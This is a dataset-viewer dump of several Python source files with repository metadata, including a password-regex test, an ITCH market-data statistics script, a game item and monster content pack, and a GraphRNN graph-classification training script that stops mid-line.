xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

04edd92c5c5a0510a8898fbb7c3ed86c68328173

108

py

Python

flutile/__init__.py

flu-crew/flutile

207a13772b2944f1118b608a93a586930000a6f7

[ "MIT" ]

3

2021-01-16T02:54:23.000Z

2021-08-31T16:36:20.000Z

flutile/__init__.py

flu-crew/flutile

207a13772b2944f1118b608a93a586930000a6f7

[ "MIT" ]

3

2020-12-02T16:35:33.000Z

2020-12-07T20:13:46.000Z

flutile/__init__.py

flu-crew/flutile

207a13772b2944f1118b608a93a586930000a6f7

[ "MIT" ]

null

from flutile.functions import aadiff_table, represent from flutile.motifs import get_ha_subtype_nterm_motif

36

53

0.888889

16

108

5.6875

0.8125

0.241758

0

0.083333

108

2

54

0.919192

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

b6bf159c13082ec171d0385ccd7d42e5006e1b78

229

py

Python

tests/pyregex/test_password_validation.py

JASTYN/pythonmaster

46638ab09d28b65ce5431cd0759fe6df272fb85d

[ "Apache-2.0", "MIT" ]

3

2017-05-02T10:28:13.000Z

2019-02-06T09:10:11.000Z

tests/pyregex/test_password_validation.py

JASTYN/pythonmaster

46638ab09d28b65ce5431cd0759fe6df272fb85d

[ "Apache-2.0", "MIT" ]

2

2017-06-21T20:39:14.000Z

2020-02-25T10:28:57.000Z

tests/pyregex/test_password_validation.py

JASTYN/pythonmaster

46638ab09d28b65ce5431cd0759fe6df272fb85d

[ "Apache-2.0", "MIT" ]

2

2016-07-29T04:35:22.000Z

2017-01-18T17:05:36.000Z

import unittest from pyregex.password_validation import password_validation class PassTests(unittest.TestCase): def test_1(self): self.assertEqual("ABd1234@1", password_validation("ABd1234@1,a F1#,2w3E*,2We3345"))

25.444444

91

0.768559

29

229

5.931034

0.655172

0.313953

0

0.094527

0.122271

229

8

92

28.625

0.761194

0

0.165939

0

0.2

1

0.2

false

0.6

0.4

0

0.8

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

b6cebc3bf604b2dca7b8061e0a152fc1d49ba1d7

35

py

Python

archived_projects_(dead)/declare_pyside/qmlside/hot_loader/__init__.py

likianta/declare-qtquick

93c2ce49d841ccdeb0272085c5f731139927f0d7

[ "MIT" ]

3

2021-11-02T03:45:27.000Z

2022-03-27T05:33:36.000Z

declare_pyside/qmlside/hot_loader/__init__.py

Likianta/pyml

b0005b36aa94958a7d3e306a9df65fea46669d18

[ "MIT" ]

null

declare_pyside/qmlside/hot_loader/__init__.py

Likianta/pyml

b0005b36aa94958a7d3e306a9df65fea46669d18

[ "MIT" ]

null

from .hot_loader import hot_loader

17.5

34

0.857143

6

35

4.666667

0.666667

0.642857

0

0.114286

35

1

35

0.903226

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

b6fb41548c7f10ee3286a733e88db94492d59541

6,216

py

Python

examples/statistics.py

alexanu/prickle

e76f4c9d7afaa65a6d0470f649fbf9edbc2bc500

[ "MIT" ]

27

2018-05-16T09:28:56.000Z

2022-02-28T02:00:33.000Z

examples/statistics.py

alexanu/prickle

e76f4c9d7afaa65a6d0470f649fbf9edbc2bc500

[ "MIT" ]

5

2018-06-06T19:38:07.000Z

2019-10-23T16:10:31.000Z

examples/statistics.py

alexanu/prickle

e76f4c9d7afaa65a6d0470f649fbf9edbc2bc500

[ "MIT" ]

16

2018-06-07T15:51:22.000Z

2021-11-23T10:53:57.000Z

from prickle import nodups, find_trades import pandas as pd import numpy as np import os import time root = '/Volumes/datasets/ITCH/' dates = [date for date in os.listdir('{}/csv/'.format(root)) if date != '.DS_Store'] names = [name.lstrip(' ') for name in pd.read_csv('{}/SP500.txt'.format(root))['Symbol']] # message_counts.txt output = [] for name in sorted(names): for date in dates[:-1]: start = time.time() messages = pd.read_csv('{}/csv/{}/messages/messages_{}.txt'.format(root, date, name)) books = pd.read_csv('{}/csv/{}/books/books_{}.txt'.format(root, date, name)) messages['time'] = messages['sec'] + messages['nano'] / 10 ** 9 messages = messages[(messages['time'] > 34200) & (messages['time'] < 57600)] books['time'] = books['sec'] + books['nano'] / 10 ** 9 books = books[(books['time'] > 34200) & (books['time'] < 57600)] books, messages = nodups(books, messages) counts = pd.value_counts(messages['type']).sort_index() row = [date, name] + list(counts) output.append(row) stop = time.time() print('Processing data for {}, {} (time={})'.format(name, date, stop - start)) df = pd.DataFrame(output, columns=['date', 'name', 'A', 'C', 'D', 'E', 'F', 'U', 'X']) df.to_csv('/Volumes/datasets/ITCH/stats/message_counts.txt') # message_shares.txt output = [] for name in sorted(names): for date in dates[:-1]: start = time.time() messages = pd.read_csv('{}/csv/{}/messages/messages_{}.txt'.format(root, date, name)) books = pd.read_csv('{}/csv/{}/books/books_{}.txt'.format(root, date, name)) messages['time'] = messages['sec'] + messages['nano'] / 10 ** 9 messages = messages[(messages['time'] > 34200) & (messages['time'] < 57600)] books['time'] = books['sec'] + books['nano'] / 10 ** 9 books = books[(books['time'] > 34200) & (books['time'] < 57600)] books, messages = nodups(books, messages) for label in ['A', 'C', 'D', 'E', 'F', 'U', 'X']: shares = np.abs(messages[messages['type'] == label]['shares']) cnts, bins = np.histogram(shares, np.arange(0, 2025, 25)) output.append([date, name, label] + list(cnts)) stop = time.time() print('Processing data for {}, {} (time={})'.format(name, date, stop - start)) df = pd.DataFrame(output, columns=['date', 'name', 'type'] + list(np.arange(0, 2000, 25))) df.to_csv('/Volumes/datasets/ITCH/stats/message_shares.txt') # message_times.txt output = [] for name in sorted(names): for date in dates[:-1]: start = time.time() messages = pd.read_csv('{}/csv/{}/messages/messages_{}.txt'.format(root, date, name)) books = pd.read_csv('{}/csv/{}/books/books_{}.txt'.format(root, date, name)) messages['time'] = messages['sec'] + messages['nano'] / 10 ** 9 messages = messages[(messages['time'] > 34200) & (messages['time'] < 57600)] books['time'] = books['sec'] + books['nano'] / 10 ** 9 books = books[(books['time'] > 34200) & (books['time'] < 57600)] books, messages = nodups(books, messages) for label in ['A', 'C', 'D', 'E', 'F', 'U', 'X']: times = messages[messages['type'] == label]['time'] cnts, bins = np.histogram(times, np.arange(34200, 57900, 300)) output.append([date, name, label] + list(cnts)) stop = time.time() print('Processing data for {}, {} (time={})'.format(name, date, stop - start)) df = pd.DataFrame(output, columns=['date', 'name', 'type'] + list(np.arange(34200, 57600, 300))) df.to_csv('/Volumes/datasets/ITCH/stats/message_times.txt') # message_nano.txt output = [] for name in sorted(names): for date in dates[:-1]: start = time.time() messages = pd.read_csv('{}/csv/{}/messages/messages_{}.txt'.format(root, date, name)) books = pd.read_csv('{}/csv/{}/books/books_{}.txt'.format(root, date, name)) messages['time'] = messages['sec'] + messages['nano'] / 10 ** 9 messages = messages[(messages['time'] > 34200) & (messages['time'] < 57600)] books['time'] = books['sec'] + books['nano'] / 10 ** 9 books = books[(books['time'] > 34200) & (books['time'] < 57600)] books, messages = nodups(books, messages) for label in ['A', 'C', 'D', 'E', 'F', 'U', 'X']: nanos = messages[messages['type'] == label]['nano'] cnts, bins = np.histogram(nanos, bins=np.arange(0, 10 ** 9 + 2 * 10 ** 7, 2 * 10 ** 7)) output.append([date, name, label] + list(cnts)) stop = time.time() print('Processing data for {}, {} (time={})'.format(name, date, stop - start)) df = pd.DataFrame(output, columns=['date', 'name', 'type'] + list(np.arange(0, 10 ** 9, 2 * 10 ** 7))) df.to_csv('/Volumes/datasets/ITCH/stats/message_nano.txt') # trades.txt output = [] for name in sorted(names): for date in dates[:-1]: start = time.time() messages = pd.read_csv('{}/csv/{}/messages/messages_{}.txt'.format(root, date, name)) messages['time'] = messages['sec'] + messages['nano'] / 10 ** 9 messages = messages[(messages['time'] > 34200) & (messages['time'] < 57600)] trades = find_trades(messages) trades['date'] = date trades['name'] = name output.append(trades) stop = time.time() print('Processing data for {}, {} (time={})'.format(name, date, stop - start)) df = pd.concat(output) df.to_csv('/Volumes/datasets/ITCH/stats/trades.txt') # hidden.txt output = [] for name in sorted(names): for date in dates[:-1]: start = time.time() hidden = pd.read_csv('{}/csv/{}/trades/trades_{}.txt'.format(root, date, name)) hidden['time'] = hidden['sec'] + hidden['nano'] / 10 ** 9 hidden = hidden[(hidden['time'] > 34200) & (hidden['time'] < 57000)] trades = find_trades(hidden) trades['date'] = date trades['name'] = name output.append(trades) stop = time.time() print('Processing data for {}, {} (time={})'.format(name, date, stop - start)) df = pd.concat(output) df.to_csv('/Volumes/datasets/ITCH/stats/hidden_trades.txt')

48.944882

102

0.578024

804

6,216

4.416667

0.113184

0.081104

0.027879

0.033793

0.773303

0.767389

0.765418

0.716136

0

0.040587

0.211229

6,216

126

103

49.333333

0.683663

0.015122

0

0.716814

0

0.190352

0.098937

0

1

0

false

0

0.044248

0

0.044248

0.053097

0

null

0

1

0

1

0

null

0

6

f3d02e16c902233caa47190ed03f7585687b37aa

37

py

Python

charis/parallel/__init__.py

thaynecurrie/charis-dep

238397bb3ec18edba6e59c7203a623709ff4b50d

[ "BSD-2-Clause-FreeBSD" ]

null

charis/parallel/__init__.py

thaynecurrie/charis-dep

238397bb3ec18edba6e59c7203a623709ff4b50d

[ "BSD-2-Clause-FreeBSD" ]

14

2018-01-23T14:46:39.000Z

2021-05-24T17:29:52.000Z

charis/parallel/__init__.py

thaynecurrie/charis-dep

238397bb3ec18edba6e59c7203a623709ff4b50d

[ "BSD-2-Clause-FreeBSD" ]

3

2017-12-28T10:10:32.000Z

2021-03-23T20:36:55.000Z

from par_utils import Task, Consumer

18.5

36

0.837838

6

37

5

1

0

0.135135

37

1

37

0.9375

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

f3dd583293ff15a754a6b761f94843fbe31fa40c

32

py

Python

Spectroscopy/atomiclines.py

guangtunbenzhu/BGT-Cosmology

2dbedfb6ead3ecd2f43a2716cfd388a5a65979ee

[ "MIT" ]

1

2018-06-17T14:42:52.000Z

Spectroscopy/atomiclines.py

guangtunbenzhu/BGT-Cosmology

2dbedfb6ead3ecd2f43a2716cfd388a5a65979ee

[ "MIT" ]

null

Spectroscopy/atomiclines.py

guangtunbenzhu/BGT-Cosmology

2dbedfb6ead3ecd2f43a2716cfd388a5a65979ee

[ "MIT" ]

null

from .lines import AtomicLines

10.666667

30

0.8125

4

32

6.5

1

0

0.15625

32

2

31

16

0.962963

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

f3f5cd432178c685d42736e322b3d6e995451dd1

42

py

Python

ImageNetLT/datasets/dataset.py

FPNAS/ResLT

1610b6b455cecd720c37d1da5208111b25baa257

[ "MIT" ]

13

2021-01-26T08:17:26.000Z

2021-07-07T08:26:53.000Z

ImageNetLT/datasets/dataset.py

FPNAS/ResLT

1610b6b455cecd720c37d1da5208111b25baa257

[ "MIT" ]

4

2021-01-28T15:21:55.000Z

2021-07-16T13:56:57.000Z

ImageNetLT/datasets/dataset.py

FPNAS/ResLT

1610b6b455cecd720c37d1da5208111b25baa257

[ "MIT" ]

1

2022-01-01T03:17:57.000Z

from datasets.imagenet import ImageNet

10.5

39

0.809524

5

42

6.8

0.8

0

0.166667

42

3

40

14

0.971429

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

6d1d6f4f11009c73cf75639ac5ce66e021c59c8f

22

py

Python

Books/GodOfPython/P00_OriginalSource/ch18/mypkg/build/lib/smtpkg7/camera/__init__.py

Tim232/Python-Things

05f0f373a4cf298e70d9668c88a6e3a9d1cd8146

[ "MIT" ]

2

2020-12-05T07:42:55.000Z

2021-01-06T23:23:18.000Z

Books/GodOfPython/P00_OriginalSource/ch18/mypkg/smtpkg7/camera/__init__.py

Tim232/Python-Things

05f0f373a4cf298e70d9668c88a6e3a9d1cd8146

[ "MIT" ]

null

Books/GodOfPython/P00_OriginalSource/ch18/mypkg/smtpkg7/camera/__init__.py

Tim232/Python-Things

05f0f373a4cf298e70d9668c88a6e3a9d1cd8146

[ "MIT" ]

null

from . import camera

7.333333

20

0.727273

3

22

5.333333

1

0

0.227273

22

2

21

11

0.941176

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

6d258bd4e7f61d64c5e98a9987ed17f2fffbfdfb

10,965

py

Python

Content/basic_pack.py

Josephkhland/MUFA-MMO

59a9b5452e7882c82fe8e4a7574cd768c52ea1e9

[ "MIT" ]

3

2020-05-03T02:09:36.000Z

2021-11-11T19:24:16.000Z

Content/basic_pack.py

Josephkhland/MUFA-MMO

59a9b5452e7882c82fe8e4a7574cd768c52ea1e9

[ "MIT" ]

1

2020-10-24T21:13:50.000Z

2020-10-26T11:54:25.000Z

Content/basic_pack.py

Josephkhland/MUFA-MMO

59a9b5452e7882c82fe8e4a7574cd768c52ea1e9

[ "MIT" ]

null

import mufa_world as mw import mufadb as db def basic_weapons(): db.Weapon(item_id = mw.generateItemID(), name = "Basic Sword", item_type = 3, precision_scale = 90, damage_amp_scale = 5, damage_per_amp = 2, damage_base = 3, drop_chance = 10).save() db.Weapon(item_id = mw.generateItemID(), name = "Basic Spear", item_type = 4, precision_scale = 70, damage_amp_scale = 5, damage_per_amp = 2, damage_base = 3, drop_chance = 10).save() db.Weapon(item_id = mw.generateItemID(), name = "Basic Club", item_type = 5, precision_scale = 50, damage_amp_scale = 50, damage_per_amp = 5, damage_base = 3, drop_chance = 10).save() db.Weapon(item_id = mw.generateItemID(), name = "Basic Bow", item_type = 6, precision_scale = 70, damage_amp_scale = 50, damage_per_amp = 2, damage_base = 3, drop_chance = 10).save() db.Weapon(item_id = mw.generateItemID(), name = "Goblin Claws", item_type = 3, precision_scale = 90, damage_amp_scale = 10, damage_per_amp = 1, damage_base = 3).save() print("Basic Weapons Pack Installed Successfully") def basic_armor(): #Cultist Armor Set db.ArmorSet(name = "Cultist", two_items_set_bonus = [1,0,0,0], full_set_bonus = [2,0,0,0]).save() db.Armor(item_id = mw.generateItemID(), name = "Cultist's Hood", armor_set = db.ArmorSet.objects.get(name = "Cultist").to_dbref(), item_type = 0, evasion_chance_reduction = 5, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() db.Armor(item_id = mw.generateItemID(), name = "Cultist's Robes", armor_set = db.ArmorSet.objects.get(name = "Cultist").to_dbref(), item_type = 1, evasion_chance_reduction = 5, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() db.Armor(item_id = mw.generateItemID(), name = "Cultist's Boots", armor_set = db.ArmorSet.objects.get(name = "Cultist").to_dbref(), item_type = 2, evasion_chance_reduction = 0, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() #Rook Armor Set db.ArmorSet(name = "Rook", two_items_set_bonus = [0,1,0,0], full_set_bonus = [0,2,0,0]).save() db.Armor(item_id = mw.generateItemID(), name = "Rook's Helmet", armor_set = db.ArmorSet.objects.get(name = "Rook").to_dbref(), item_type = 0, evasion_chance_reduction = 5, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() db.Armor(item_id = mw.generateItemID(), name = "Rook's Hide", armor_set = db.ArmorSet.objects.get(name = "Rook").to_dbref(), item_type = 1, evasion_chance_reduction = 5, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() db.Armor(item_id = mw.generateItemID(), name = "Rook's Boots", armor_set = db.ArmorSet.objects.get(name = "Rook").to_dbref(), item_type = 2, evasion_chance_reduction = 0, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() #Acrobat Armor Set db.ArmorSet(name = "Acrobat", two_items_set_bonus = [0,0,1,0], full_set_bonus = [0,0,2,0]).save() db.Armor(item_id = mw.generateItemID(), name = "Acrobat's Cap", armor_set = db.ArmorSet.objects.get(name = "Acrobat").to_dbref(), item_type = 0, evasion_chance_reduction = 5, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() db.Armor(item_id = mw.generateItemID(), name = "Acrobat's Shirt", armor_set = db.ArmorSet.objects.get(name = "Acrobat").to_dbref(), item_type = 1, evasion_chance_reduction = 5, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() db.Armor(item_id = mw.generateItemID(), name = "Acrobat's Shoes", armor_set = db.ArmorSet.objects.get(name = "Acrobat").to_dbref(), item_type = 2, evasion_chance_reduction = 0, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() #Brute Armor Set db.ArmorSet(name = "Brute", two_items_set_bonus = [0,0,0,1], full_set_bonus = [0,0,0,2]).save() db.Armor(item_id = mw.generateItemID(), name = "Brute's Helmet", armor_set = db.ArmorSet.objects.get(name = "Brute").to_dbref(), item_type = 0, evasion_chance_reduction = 5, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() db.Armor(item_id = mw.generateItemID(), name = "Brute's Armour", armor_set = db.ArmorSet.objects.get(name = "Brute").to_dbref(), item_type = 1, evasion_chance_reduction = 5, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() db.Armor(item_id = mw.generateItemID(), name = "Brute's Boots", armor_set = db.ArmorSet.objects.get(name = "Brute").to_dbref(), item_type = 2, evasion_chance_reduction = 0, physical_damage_reduction_f = 0, physical_damage_reduction_p = 2, drop_chance = 10).save() print("Basic Armour Pack Installed Successfully") def basic_monsters(): null_obj = db.Item.objects.get(name = "null_object").to_dbref() weapon_slash = db.Weapon.objects.get(name = "Goblin Claws").to_dbref() helmet = db.Armor.objects.get(name = "Rook's Helmet").to_dbref() chestpiece = db.Armor.objects.get(name = "Rook's Hide").to_dbref() boots = db.Armor.objects.get(name = "Rook's Boots").to_dbref() n_char = db.character(name = "Goblin Rook", willpower = 1, vitality = 2, agility = 1, strength = 1, karma = 1, current_health = 10, current_sanity = 10, armor_equiped = [helmet,chestpiece,boots], weapons_equiped = [weapon_slash,null_obj,null_obj,null_obj], instance_stack = [] ) db.MonsterEntry(name = n_char.name, character_stats=n_char).save() helmet = db.Armor.objects.get(name = "Acrobat's Cap").to_dbref() chestpiece = db.Armor.objects.get(name = "Acrobat's Shirt").to_dbref() boots = db.Armor.objects.get(name = "Acrobat's Shoes").to_dbref() n_char = db.character(name = "Goblin Scout", willpower = 1, vitality = 1, agility = 2, strength = 1, karma = 1, current_health = 10, current_sanity = 10, armor_equiped = [helmet,chestpiece,boots], weapons_equiped = [weapon_slash,null_obj,null_obj,null_obj], instance_stack = [] ) db.MonsterEntry(name = n_char.name, character_stats=n_char).save() helmet = db.Armor.objects.get(name = "Brute's Helmet").to_dbref() chestpiece = db.Armor.objects.get(name = "Brute's Armour").to_dbref() boots = db.Armor.objects.get(name = "Brute's Boots").to_dbref() n_char = db.character(name = "Goblin Brute", willpower = 1, vitality = 1, agility = 1, strength = 2, karma = 1, current_health = 10, current_sanity = 10, armor_equiped = [helmet,chestpiece,boots], weapons_equiped = [weapon_slash,null_obj,null_obj,null_obj], instance_stack = [] ) db.MonsterEntry(name = n_char.name, character_stats=n_char).save() print("Basic Monsters Pack Installed Successfully") def basic_dungeon(): db.Tags( name = "Decorators", collection = ["barrel", "cupboard", "waste", "pot", "corpses", "torches", "bones","pit","mold","graffiti","cage","kennels","debris"] ).save() db.Tags( name = "Deadends", collection = ["wall", "bottomless pit", "boulder" , "wooden obstacle", "barricade"] ).save() db.Tags( name = "Pathways", collection = ["tunnel","slope","stairs","stream","waterfall","bridge", "shipwreck", "door", "doorway", "curtain", "corridor"] ).save() db.Tags( name = "Symbols", collection = ["circle", "square", "triangle", "stickman", "eye", "sun", "moon", "hexagon", "skull", "oval", "leaf", "bear", "wolf", "eagle", "fish", "sword", "bow", "flame", "star" , "deer", "arrow", "spiral", "zero", "one", "two","three","four","five","six","seven","eight","nine"] ).save() db.DungeonEntry( name = "Goblin Lair", max_monsters = 10, average_number_of_rooms = 15, monsters_list = ["Goblin Rook", "Goblin Scout", "Goblin Brute"], id_prefix = "GL", descriptor_tags =["barrel", "cupboard", "waste", "pot", "corpses", "torches", "bones","pit","mold","graffiti","cage","kennels","debris"], deadends_tags = ["wall", "bottomless pit", "boulder" , "wooden obstacle", "barricade"], pathways_tags = ["tunnel","slope","stairs","stream","waterfall","bridge", "shipwreck", "door", "doorway", "curtain", "corridor"] ).save() print("Basic Dungeon Pack Installed Successfully") def install_pack(): basic_weapons() basic_armor() basic_monsters() basic_dungeon() db.PackageNames(name = "basic").save()

38.339161

86

0.534519

1,215

10,965

4.583539

0.147325

0.060334

0.09912

0.067157

0.810738

0.753995

0.740707

0.70264

0.66511

0.64859

0

0.024343

0.340629

10,965

286

87

38.339161

0.74592

0.005746

0

0.608871

1

0

0.116891

0

1

0.020161

false

0

0.008065

0

0.028226

0.016129

0

null

0

1

0

1

0

1

0

null

0

6

6d369066d7963085eee27589961fc935fd4457dc

52,277

py

Python

train.py

jonathangomesselman/graph-generation

72a8be30d54a414fcca9ea0fad1a62e38b85ee2f

[ "MIT" ]

1

2021-12-11T16:03:06.000Z

train.py

jonathangomesselman/graph-generation

72a8be30d54a414fcca9ea0fad1a62e38b85ee2f

[ "MIT" ]

null

train.py

jonathangomesselman/graph-generation

72a8be30d54a414fcca9ea0fad1a62e38b85ee2f

[ "MIT" ]

1

2021-12-11T16:03:09.000Z

import networkx as nx import numpy as np import torch import torch.nn as nn import torch.nn.init as init from torch.autograd import Variable import matplotlib.pyplot as plt import torch.nn.functional as F from torch import optim from torch.optim.lr_scheduler import MultiStepLR, CosineAnnealingLR from sklearn.decomposition import PCA import logging from torch.nn.utils.rnn import pad_packed_sequence, pack_padded_sequence from time import gmtime, strftime from sklearn.metrics import roc_curve from sklearn.metrics import roc_auc_score from sklearn.metrics import average_precision_score from random import shuffle import pickle from tensorboard_logger import configure, log_value import scipy.misc import time as tm import seaborn as sns from utils import * from model import * from data import * from args import Args import create_graphs # Kinda hacky but allows for using non cude on local machine #args_temp = Args() #print (args_temp.cuda) #device = torch.device('cuda:{}'.format(args_temp.cuda) if torch.cuda.is_available() else 'cpu') def train_rnn_graph_class_epoch(epoch, args, rnn, output, data_loader, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output): """ Train the GraphRNN model for the task of graph classification """ classification_loss = nn.CrossEntropyLoss() rnn.train() output.train() loss_sum = 0 total_correct = 0 total_predicted = 0 for batch_idx, data in enumerate(data_loader): rnn.zero_grad() output.zero_grad() x_unsorted = data['x'].float() y_unsorted = data['y'].float() y_len_unsorted = data['len'] # Note this may be None!! features_unsorted = data['feat'].float() classification_labels_unsorted = data['label'].long() y_len_max = max(y_len_unsorted) x_unsorted = x_unsorted[:, 0:y_len_max, :] # y_unsorted = [batch size, max number of nodes, max previous] y_unsorted = y_unsorted[:, 0:y_len_max, :] features_unsorted = features_unsorted[:, 0:y_len_max, :] # initialize lstm hidden state according to batch size rnn.hidden = rnn.init_hidden(batch_size=x_unsorted.size(0)) # output.hidden = output.init_hidden(batch_size=x_unsorted.size(0)*x_unsorted.size(1)) # sort input graphs! y_len,sort_index = torch.sort(y_len_unsorted,0,descending=True) y_len = y_len.numpy().tolist() x = torch.index_select(x_unsorted,0,sort_index) y = torch.index_select(y_unsorted,0,sort_index) classification_labels = torch.index_select(classification_labels_unsorted, 0, sort_index) # Sort the node features if args.node_features: features = torch.index_select(features_unsorted,0,sort_index) # input, output for output rnn module # a smart use of pytorch builtin function: pack variable--b1_l1,b2_l1,...,b1_l2,b2_l2,... y_reshape = pack_padded_sequence(y,y_len,batch_first=True).data # reverse y_reshape, so that their lengths are sorted, add dimension idx = [i for i in range(y_reshape.size(0)-1, -1, -1)] idx = torch.LongTensor(idx) y_reshape = y_reshape.index_select(0, idx) y_reshape = y_reshape.view(y_reshape.size(0),y_reshape.size(1),1) output_x = torch.cat((torch.ones(y_reshape.size(0),1,1),y_reshape[:,0:-1,0:1]),dim=1) output_y = y_reshape # batch size for output module: sum(y_len) output_y_len = [] output_y_len_bin = np.bincount(np.array(y_len)) for i in range(len(output_y_len_bin)-1,0,-1): count_temp = np.sum(output_y_len_bin[i:]) # count how many y_len is above i output_y_len.extend([min(i,y.size(2))]*count_temp) # put them in output_y_len; max value should not exceed y.size(2) # pack into variable x = Variable(x).to(device) y = Variable(y).to(device) classification_labels = Variable(classification_labels).to(device) if args.node_features: features = Variable(features).to(device) output_x = Variable(output_x).to(device) output_y = Variable(output_y).to(device) # Note that classification holds the predictions # for the graph classification task! h, classification = rnn(x, features_raw=features,pack=True, input_len=y_len) h = pack_padded_sequence(h,y_len,batch_first=True).data # get packed hidden vector # reverse h idx = [i for i in range(h.size(0) - 1, -1, -1)] idx = Variable(torch.LongTensor(idx)).to(device) h = h.index_select(0, idx) hidden_null = Variable(torch.zeros(args.num_layers-1, h.size(0), h.size(1))).to(device) output.hidden = torch.cat((h.view(1,h.size(0),h.size(1)),hidden_null),dim=0) # num_layers, batch_size, hidden_size y_pred = output(output_x, pack=True, input_len=output_y_len) y_pred = F.sigmoid(y_pred) # clean y_pred = pack_padded_sequence(y_pred, output_y_len, batch_first=True) y_pred = pad_packed_sequence(y_pred, batch_first=True)[0] output_y = pack_padded_sequence(output_y,output_y_len,batch_first=True) output_y = pad_packed_sequence(output_y,batch_first=True)[0] classifier_loss = classification_loss(classification, classification_labels) # use cross entropy loss # Let us try to combine both the generative and classification losses!! generative_loss = binary_cross_entropy_weight(y_pred, output_y) loss = args.classification_weight * classifier_loss + args.gen_weight * generative_loss # Combine the generative loss and the classification loss! # Note that in the semi-supervised setting, we could have # the classification loss only be over a smaller masked # threshold of the training graphs. i.e. we could have a large # number of graphs to actually train on where only some of them # are actually labeled. Would give more data for the generative # model. loss.backward() # update deterministic and lstm optimizer_output.step() optimizer_rnn.step() scheduler_output.step() scheduler_rnn.step() loss_sum += loss.item() # Should likely do like f1 score total_correct += num_correct(classification, classification_labels) total_predicted += classification_labels.shape[0] # Get avg. batch loss avg_loss = loss_sum / (batch_idx + 1) accuracy = float(total_correct) / total_predicted if epoch % args.epochs_log==0: # only output first batch's statistics print('Epoch: {}/{}, train loss: {:.6f}, train accuracy: {}, num_layer: {}, hidden: {}'.format( epoch, args.epochs,avg_loss, accuracy, args.num_layers, args.hidden_size_rnn)) return avg_loss, accuracy def test_rnn_graph_class_epoch(epoch, args, rnn, output, data_loader, trails=50): """ Test the graph-level rnn's ability to generate meaningful embeddings for graph classifciation. While we use the whole graphRNN for training (also including the generative modeling loss), here we technically only need the output from the graph level RNN. """ classification_loss = nn.CrossEntropyLoss() rnn.eval() output.eval() loss_sum = 0 # Calculate avg. accuracy over trails # different random graph permutations. # This helps to hopefully deal with issues # of permutation invariance. running_accuracy = 0 for i in range(trails): trail_correct = 0 trail_predicted = 0 trail_loss = 0 for batch_idx, data in enumerate(data_loader): rnn.zero_grad() output.zero_grad() x_unsorted = data['x'].float() y_len_unsorted = data['len'] classification_labels_unsorted = data['label'].long() features_unsorted = data['feat'].float() y_len_max = max(y_len_unsorted) x_unsorted = x_unsorted[:, 0:y_len_max, :] features_unsorted = features_unsorted[:, 0:y_len_max, :] # initialize lstm hidden state according to batch size rnn.hidden = rnn.init_hidden(batch_size=x_unsorted.size(0)) # output.hidden = output.init_hidden(batch_size=x_unsorted.size(0)*x_unsorted.size(1)) # sort input y_len,sort_index = torch.sort(y_len_unsorted,0,descending=True) y_len = y_len.numpy().tolist() x = torch.index_select(x_unsorted,0,sort_index) classification_labels = torch.index_select(classification_labels_unsorted, 0, sort_index) # Sort the node features if args.node_features: features = torch.index_select(features_unsorted,0,sort_index) # pack into variable x = Variable(x).to(device) classification_labels = Variable(classification_labels).to(device) if args.node_features: features = Variable(features).to(device) # Classification holds the predictions for the graph classification task! h, classification = rnn(x, features_raw=features, pack=True, input_len=y_len) classifier_loss = classification_loss(classification, classification_labels) trail_loss += classifier_loss.item() trail_correct += num_correct(classification, classification_labels) trail_predicted += classification_labels.shape[0] # Keep running accuracy metrics trail_acc = float(trail_correct) / trail_predicted running_accuracy += trail_acc trail_loss = trail_loss / (batch_idx + 1) loss_sum += trail_loss avg_loss = loss_sum / float(trails) avg_accuracy = float(running_accuracy) / trails return avg_loss, avg_accuracy def train_graph_class(args, dataset_train, dataset_test, rnn, output): # check if load existing model if args.load: fname = args.model_save_path + args.fname + 'lstm_' + str(args.load_epoch) + '.dat' rnn.load_state_dict(torch.load(fname)) fname = args.model_save_path + args.fname + 'output_' + str(args.load_epoch) + '.dat' output.load_state_dict(torch.load(fname)) args.lr = 0.00001 epoch = args.load_epoch print('model loaded!, lr: {}'.format(args.lr)) else: epoch = 1 # initialize optimizer optimizer_rnn = optim.Adam(list(rnn.parameters()), lr=args.lr) optimizer_output = optim.Adam(list(output.parameters()), lr=args.lr) # Play with this!!! if args.scheduler == 'step': scheduler_rnn = MultiStepLR(optimizer_rnn, milestones=args.milestones, gamma=args.lr_rate) scheduler_output = MultiStepLR(optimizer_output, milestones=args.milestones, gamma=args.lr_rate) elif args.scheduler == 'cos': scheduler_rnn = CosineAnnealingLR(optimizer_rnn, T_max=args.epochs) scheduler_output = CosineAnnealingLR(optimizer_output, T_max=args.epochs) # start main loop time_all = np.zeros(args.epochs) while epoch<=args.epochs: time_start = tm.time() train_rnn_graph_class_epoch(epoch, args, rnn, output, dataset_train, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output) time_end = tm.time() time_all[epoch - 1] = time_end - time_start # test the models performance on graph classification! if epoch % args.epochs_test == 0 and epoch>=args.epochs_test_start: avg_test_loss, avg_test_acc = test_rnn_graph_class_epoch(epoch, args, rnn, output, dataset_test) print('Test done - Avg Test loss: {:.5f}, Avg Test accuracy: {}'.format(avg_test_loss, avg_test_acc)) # save model checkpoint if args.save: if epoch % 